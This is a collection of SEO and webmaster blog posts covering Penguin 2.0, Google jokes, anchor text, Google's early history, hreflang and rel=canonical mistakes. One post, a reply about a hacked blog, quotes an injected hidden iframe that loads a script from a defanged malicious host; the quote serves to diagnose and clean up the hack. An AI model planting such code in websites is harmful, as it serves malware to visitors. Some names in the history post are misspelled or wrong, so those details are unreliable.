Search Engine Optimization & Marketing

We started rolling out the next generation of the Penguin webspam algorithm this afternoon (May 22, 2013), and the rollout is now complete. About 2.3% of English-US queries are affected to the degree that a regular user might notice. The change has also finished rolling out for other languages world-wide. The scope of Penguin varies by language, e.g. languages with more webspam will see more impact.

This is the fourth Penguin-related launch Google has done, but because this is an updated algorithm (not just a data refresh), we’ve been referring to this change as Penguin 2.0 internally. For more information on what SEOs should expect in the coming months, see the video that we recently released.

We just recently taped a new round of webmaster videos, and I thought this video deserved a full-fledged blog post. This is my rough estimate (as of early May 2013) of what search engine optimizers (SEOs) and webmasters should expect in the next few months:

Bear in mind that this is a very rough estimate, because priorities, projects, and timing can change based on a lot of different factors. But I hope this gives folks a ballpark idea of what to expect in the coming months as far as what my team is working on.

I make a lot of jokes about Bing, I have to admit it. The gist is that it is a wannabe search engine that will never make it as the number one choice. Unfair? Probably, but I would argue that 1) I don’t care, and 2) It is still the truth. Besides, it is not like Bing will ever see this…it couldn’t find it! See what I did there?

But it is really only right of me to give Google the same shots. After all, it is at the top and there is no way to resist lobbing up a couple of rotten tomatoes to hit the big guy in the face. So here are some of the best Google jokes I have seen around the web (ironically found through the same search engine; take that, Bing).

Weird Auto-Complete Results

It isn’t technically a ‘joke’, but there is nothing funnier than some of the bizarre suggestions given by Google auto-complete function. Suggestions like:

• Can I get pregnant from a dog?
• What happens if you put self-raising flour on an orphan?
• What If Your Knees Bent the Other Way
• Where is Chuck Norris?
• What would a chair look like if your knees bent the other way?
• Do ginger people have ginger pubes?
• How wrong we were to think immortality meant never dying…

… and many other truly strange, often disgusting but always funny suggestions from Google’s search engine. But want to know what is truly hilarious about these? They had to have been asked often enough to seem to Google like a frequently asked question or common phrase. Apparently a lot of girls are afraid of their dogs getting them pregnant. Just let that soak in for a second.

Life Before Google: A Short Story

I love Shoebox, an excellent comic series about a dog and a bunny. This is probably my favorite, because it is something I have thought about a lot. I am old enough to remember well the days before Google. When we had to look at actual maps or in the phone books. When if we knew a lyrics from a song, but not what the song was, we were just out of luck unless we happened to hear it again somewhere. It was a life of agony; we didn’t know it, but we were the walking dead.

Now Google has come and swept away that misery. Never again will we spend hours trying to remember where that one half-recalled quote came from. Just a few seconds of typing and we will know that it was from a Christmas themed episode of Wings. Hell, we can even see who was working on crew when they filmed it.

Yes, life is sweet.

One Does Not Simply…

Google Maps can give you some amazing directions, and I have always preferred it over programs like MapQuest. But one way that they are superior is in their handling of sage advice. Such as how one does not simply walk into Mordor.

Related question: Has anyone else ever wondered why Gandalf didn’t just fly an eagle to Mount Doom and drop the ring into the fires there himself? He could have Google Mapped the route.

Pearls Before Swine: Praise Google

Google is pretty much our Internet overlord and master at this point. If that is not yet the case, it will be. Clearly, we are a society that cannot live without the sweet, sweet embrace of their many varied services. Seriously, when was the last time you went a whole day without using a single program offered by Google? If you had a single day in the last several years you could claim this, you are a liar. Or a time traveler. Though I bet even time travel in the future will be handled by either Google or Apple.

This cute little strip from the comic Pearls Before Swine talks about the supremacy of Google. It would seem that one little ram doesn’t know his place.

The IT Crowd

Anyone who has not seen the British sitcom The IT Crowd needs to do so now. I mean it, don’t even finish this article. Just go to Netflix and marathon the series until your eyes bleed and you can’t walk straight. It will be totally worth it, trust me.

For those of you who are fortunate enough to have watched this gem of a show, I bring you a nostalgic clip of our dear Jen. She is head of the IT department, and she is desperate to warn her fellow department heads of the danger of breaking the internet.

Protip: Never type “Google” into Google.

Do you know of a good Google joke? Let us know in the comments!

Image Credits: 1, 2.

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Ann Smarty

Community Manager at Internet Marketing Ninjas

Ann Smarty is the pro blogger and guest blogger, social media enthusiast.

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The post Best Google Jokes appeared first on SEO Chat.

Recently someone on twitter complained that Chrome was labeling their site as malware:

http://Dvorak.org site blocked by Chrome browser after I wrote negative commentary about Google.

I took a few minutes to compose a reply, so I’ll go ahead and post it here:

Just to summarize: Chrome’s warning is correct. Your blog is hacked and injecting a malicious iframe on dvorak.org/blog/ even on error pages.

At the top of the page, the malicious iframe looks like this: <style>.rrfhezo { position:absolute; left:-1012px; top:-681px; }</style> <div class=”rrfhezo”><iframe src=”hxxp://cnsycrdv.organiccrap.com/jquery/get.php?ver=jquery.latest.js” width=”420″ height=”475″></iframe>

I would recommend taking your blog down until you can fix the hack and remove the malware. If you verify dvorak.org at http://google.com/webmasters/ then we’ll show you the details we know about the malicious code.

We’re just the messenger here–this definitely had nothing to do with anything you wrote about Google. In fact, we recently published a website to help site owners recover from a hacked site: http://www.google.com/webmasters/hacked/

Getting hacked truly sucks though. I hope you’re able to get things cleaned up and in good shape. When you think the site is clean, you can file an appeal at http://google.com/webmasters for your hacked site and we’ll rescan it for malware. When it’s clean, we’ll remove the warning in Chrome.

Hope that helps,
Matt Cutts

I hope no one reading this ever gets hacked, but the truth is that some people will. You can reduce the odds of getting hacked by keeping all of your web server software up to date. If you do get hacked, our site at http://www.google.com/webmasters/hacked/ will walk you through the process of cleaning up your site. I know that some site owners are annoyed when Google flags their site as hacked or serving malware, but we’re trying to protect our users as best we can.

The two terms sound incredibly similar, which gives the mistaken impression that they must be the same.

I see many people getting confused when you are talking about name anchors… “Is this what we need to build links for?”… Ugh, no.

The two are used for different functions entirely, and they have different tags used to make them.

Link Anchor Text

The simplest way to explain that: anchor text = visible text of the link

For example, let’s say you were speaking about Google’s search engine. In the post itself, you might mention that Google has been offering lots of cool user tools

Notice how I have anchored the link into the text speaking about Google. Clicking on that link will take you top their website. This is the same process used by people who want to connect articles together. So they would anchor a link to relevant text speaking about another post on the same blog, or page on the site.

<a href=”http://URL.com”>Anchor Text Used Here</a>

Google: Link anchor text is believed to be the most powerful SEO element. Read more about that here.

Linking to Anchor

When people adapt books, scientific studies, research papers, tutorials, or any other kind of wall-of-text style page, they will create different anchor points within it to make navigation simpler for the reader.

Name anchor allows you to point the reader to a specific part of the page…

<a name=”Section Title”></a>

Next, create the link pointing to that name anchor. This will use the standard link code, but will feature an ‘#’ before the anchor to signify that it is pointing to a section within the same page. It will look like:

<a href=”#Section Title”>Text</a>.

Google: This link may be picked up and used by Google to form the search snippet to point the user to a specific part of your web page:

Conclusion

Most of us have to do it on a regular basis; it’s the terminology that can be misleading!

Image Credits: 1, 2.

Author information

Ann Smarty

Community Manager at Internet Marketing Ninjas

Ann Smarty is the pro blogger and guest blogger, social media enthusiast.

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The post SEO Terminology: Link Anchor Text Versus Linking to Name Anchor appeared first on SEO Chat.

Oh, Google…it has grown up so fast. It seems like only yesterday it was a tiny project launched by Larry Page and Sergey Brin. It went from a single search engine to the largest internet conglomerate in the world, dominating the web entirely.

They have their hand in social media and networking, shopping, travel, academia…really, you would be hard pressed to find anything online they have not been involved with in some way, directly or indirectly.

It is easy to look at them as our Digital Masters and forget the more humble roots that they sprang from. Here are a couple of ‘firsts’ from the company that has grown into a powerhouse.

First Indexed Page

Google’s crawlers had to start from somewhere. The starting point was actually Larry Page’s own Standford page, which he released the first bot to. It indexed the page and moved on, creating the massive database we use today.

First Home Page

In 1996, Google was launched as a Standford web page, rather than as its own site. That was its first incarnation, which lasted for a year as it slowly gained steam and eventually its founders thought it was time it got its own place. That was in 1997, where it became Google.com.

What is interesting is that during this time, it was labeled as ‘Beta’ for the first time, and available for widespread use. So in a way, it has had two first home pages.

First Logo

Google didn’t have an official logo until 1997, when it was moved to its own site. The original was created by co-founder Sergey Brinn, who made the colorful image we know today using GIMP. It would always remain in this general incarnation, including the same colors minus a slight change from orange to yellow on the second ‘O’.

First Investor

It is well known that Brinn and Page did not have a lot of luck catching the attention of investors in the beginning. But they did manage to turn one head, and it landed them their first $100,000. That initial investor was Sun Microsystem’s founder Andy Bechtolsheim, who will forever be credited with having helped the biggest online company in the world take their first steps.

Fun fact: Google was not incorporated when he invested. But the check said Google Inc., so the duo decided they should probably make the title official.

First Employee

Other than the founders themselves, the first person to work for the company was Craig Silverstein, a PhD candidate in Computer Science at Stanford University. He left the company in 2012, having played a major role in the company and products overall development. Without him, you can be sure Google would not be the success it is todat.

Silverstein now works for Khan University.

Have any firsts for Google that you think are especially important or interesting? Let us know in the comments!

Image Credit: 1.

Author information

Ann Smarty

Community Manager at Internet Marketing Ninjas

Ann Smarty is the pro blogger and guest blogger, social media enthusiast.

TwitterFacebookGoogle+LinkedIn

The post Google’s “Firsts” appeared first on SEO Chat.

Webmaster Level: All

The homepages of multinational and multilingual websites are sometimes configured to point visitors to localized pages, either via redirects or by changing the content to reflect the user’s language. Today we’ll introduce a new rel-alternate-hreflang annotation that the webmaster can use to specify such homepages that is supported by both Google and Yandex.

To see this in action, let’s look at an example. The website example.com has content that targets users around the world as follows:

• http://example.com/en-gb: For English-speaking users in the UK
• http://example.com/en-us: For English-speaking users in the USA
• http://example.com/en-au: For English-speaking users in Australia
• http://example.com/: The homepage shows users a country selector and is the default page for users worldwide

In this case, the webmaster can annotate this cluster of pages using rel-alternate-hreflang using Sitemaps or using HTML link tags like this:

<link rel="alternate" href="http://example.com/en-gb" hreflang="en-gb" />
<link rel="alternate" href="http://example.com/en-us" hreflang="en-us" />
<link rel="alternate" href="http://example.com/en-au" hreflang="en-au" />
<link rel="alternate" href="http://example.com/" hreflang="x-default" />

The new x-default hreflang attribute value signals to our algorithms that this page doesn’t target any specific language or locale and is the default page when no other page is better suited. For example, it would be the page our algorithms try to show French-speaking searchers worldwide or English-speaking searchers on google.ca.

The same annotation applies for homepages that dynamically alter their contents based on a user’s perceived geolocation or the Accept-Language headers. The x-default hreflang value signals to our algorithms that such a page doesn’t target a specific language or locale.

As always, if you have any questions or feedback, please tell us in the Internationalization Webmaster Help Forum.

Posted by Pierre Far, Webmaster Trends Analyst

Webmaster Level: Intermediate to Advanced

Including a rel=canonical link in your webpage is a strong hint to search engines your preferred version to index among duplicate pages on the web. It’s supported by several search engines, including Yahoo!, Bing, and Google. The rel=canonical link consolidates indexing properties from the duplicates, like their inbound links, as well as specifies which URL you’d like displayed in search results. However, rel=canonical can be a bit tricky because it’s not very obvious when there’s a misconfiguration.

While the webmaster sees the “red velvet” page on the left in their browser, search engines notice on the webmaster’s unintended “blue velvet” rel=canonical on the right.

We recommend the following best practices for using rel=canonical:

• A large portion of the duplicate page’s content should be present on the canonical version.

One test is to imagine you don’t understand the language of the content—if you placed the duplicate side-by-side with the canonical, does a very large percentage of the words of the duplicate page appear on the canonical page? If you need to speak the language to understand that the pages are similar; for example, if they’re only topically similar but not extremely close in exact words, the canonical designation might be disregarded by search engines.

• Double-check that your rel=canonical target exists (it’s not an error or “soft 404”)
• Verify the rel=canonical target doesn’t contain a noindex robots meta tag
• Make sure you’d prefer the rel=canonical URL to be displayed in search results (rather than the duplicate URL)
• Include the rel=canonical link in either the <head> of the page or the HTTP header
• Specify no more than one rel=canonical for a page. When more than one is specified, all rel=canonicals will be ignored.

Mistake 1: rel=canonical to the first page of a paginated series




Imagine that you have an article that spans several pages:

• example.com/article?story=cupcake-news&page=1
• example.com/article?story=cupcake-news&page=2
• and so on

Specifying a rel=canonical from page 2 (or any later page) to page 1 is not correct use of rel=canonical, as these are not duplicate pages. Using rel=canonical in this instance would result in the content on pages 2 and beyond not being indexed at all.

Good content (e.g., “cookies are superior nutrition” and “to vegetables”) is lost when specifying rel=canonical from component pages to the first page of a series.

In cases of paginated content, we recommend either a rel=canonical from component pages to a single-page version of the article, or to use rel=”prev” and rel=”next” pagination markup.

rel=canonical from component pages to the view-all page

If rel=canonical to a view-all page isn’t designated, paginated content can use rel=”prev” and rel=”next” markup.

Mistake 2: Absolute URLs mistakenly written as relative URLs

The <link> tag, like many HTML tags, accepts both relative and absolute URLs. Relative URLs include a path “relative” to the current page. For example, “images/cupcake.png” means “from the current directory go to the “images” subdirectory, then to cupcake.png.” Absolute URLs specify the full path—including the scheme like http://.

Specifying <link rel=canonical href=“example.com/cupcake.html” /> (a relative URL since there’s no “http://”) implies that the desired canonical URL is http://example.com/example.com/cupcake.html even though that is almost certainly not what was intended. In these cases, our algorithms may ignore the specified rel=canonical. Ultimately this means that whatever you had hoped to accomplish with this rel=canonical will not come to fruition.



Mistake 3: Unintended or multiple declarations of rel=canonical



Occasionally, we see rel=canonical designations that we believe are unintentional. In very rare circumstances we see simple typos, but more commonly a busy webmaster copies a page template without thinking to change the target of the rel=canonical. Now the site owner’s pages specify a rel=canonical to the template author’s site.

If you use a template, check that you didn’t also copy the rel=canonical specification.

Another issue is when pages include multiple rel=canonical links to different URLs. This happens frequently in conjunction with SEO plugins that often insert a default rel=canonical link, possibly unbeknownst to the webmaster who installed the plugin. In cases of multiple declarations of rel=canonical, Google will likely ignore all the rel=canonical hints. Any benefit that a legitimate rel=canonical might have offered will be lost.



In both these types of cases, double-checking the page’s source code will help correct the issue. Be sure to check the entire <head> section as the rel=canonical links may be spread apart.

Check the behavior of plugins by looking at the page’s source code.

Mistake 4: Category or landing page specifies rel=canonical to a featured article


Let’s say you run a site about desserts. Your dessert site has useful category pages like “pastry” and “gelato.” Each day the category pages feature a unique article. For instance, your pastry landing page might feature “red velvet cupcakes.” Because the “pastry” category page has nearly all the same content as the “red velvet cupcake” page, you add a rel=canonical from the category page to the featured individual article.



If we were to accept this rel=canonical, then your pastry category page would not appear in search results. That’s because the rel=canonical signals that you would prefer search engines display the canonical URL in place of the duplicate. However, if you want users to be able to find both the category page and featured article, it’s best to only have a self-referential rel=canonical on the category page, or none at all.

Remember that the canonical designation also implies the preferred display URL. Avoid adding a rel=canonical from a category or landing page to a featured article.

Mistake 5: rel=canonical in the <body>



The rel=canonical link tag should only appear in the <head> of an HTML document. Additionally, to avoid HTML parsing issues, it’s good to include the rel=canonical as early as possible in the <head>. When we encounter a rel=canonical designation in the <body>, it’s disregarded.




This is an easy mistake to correct. Simply double-check that your rel=canonical links are always in the <head> of your page, and as early as possible if you can.

rel=canonical designations in the <head> are processed, not the <body>.

Conclusion




To create valuable rel=canonical designations:

• Verify that most of the main text content of a duplicate page also appears in the canonical page.
• Check that rel=canonical is only specified once (if at all) and in the <head> of the page.
• Check that rel=canonical points to an existent URL with good content (i.e., not a 404, or worse, a soft 404).
• Avoid specifying rel=canonical from landing or category pages to featured articles as that will make the featured article the preferred URL in search results.

And, as always, please ask any questions in our Webmaster Help forum.



Written by Allan Scott, Software Engineer, Indexing Team

You may have heard of my 30 day challenges, where I try something new for 30 days. Those challenges are great to try out a new habit and see how you like it.

But I’m also a big believer in picking out really big goals too. In 2010 I trained for a few months so I could climb Kilimanjaro, for example. For 2011, I went skydiving and ran my first marathon in San Francisco. 2012 ended up being a blur: lots of work, plus trips and time with family. I still managed to run a couple more marathons and finish a Tough Mudder race back in Kentucky.

Which brings me to my big goal for 2013. On April 6th, 2013, I’m going to try to run 50 miles for the American River 50. It’s an ultramarathon from Sacramento to Auburn with flat ground for the first half and single-track dirt trails on the second half. The cutoff limit for finishing is 13 hours. As a running friend put it, “You really just need to make the 32 mile cutoff in 7.5 hours or so; after that you could walk the rest of the way!”

In theory, if you run the American River 50 in 11 hours then you can qualify for the Western States 100-Mile Endurance Run. But I’ve gotten a chance to run the trail half of the course a couple times now, and I don’t think there’s any way I can finish that fast. So I’m just shooting to finish in 13 hours. By the way, if you’re interested in ultramarathons (any race longer than a marathon) or trail running, there’s a great documentary about the 2010 Western States race called Unbreakable.

So that’s what I’ll be doing this weekend. Wish me luck, and if anyone want to suggest running music, please leave a comment pointing to a good YouTube video for running. Thanks!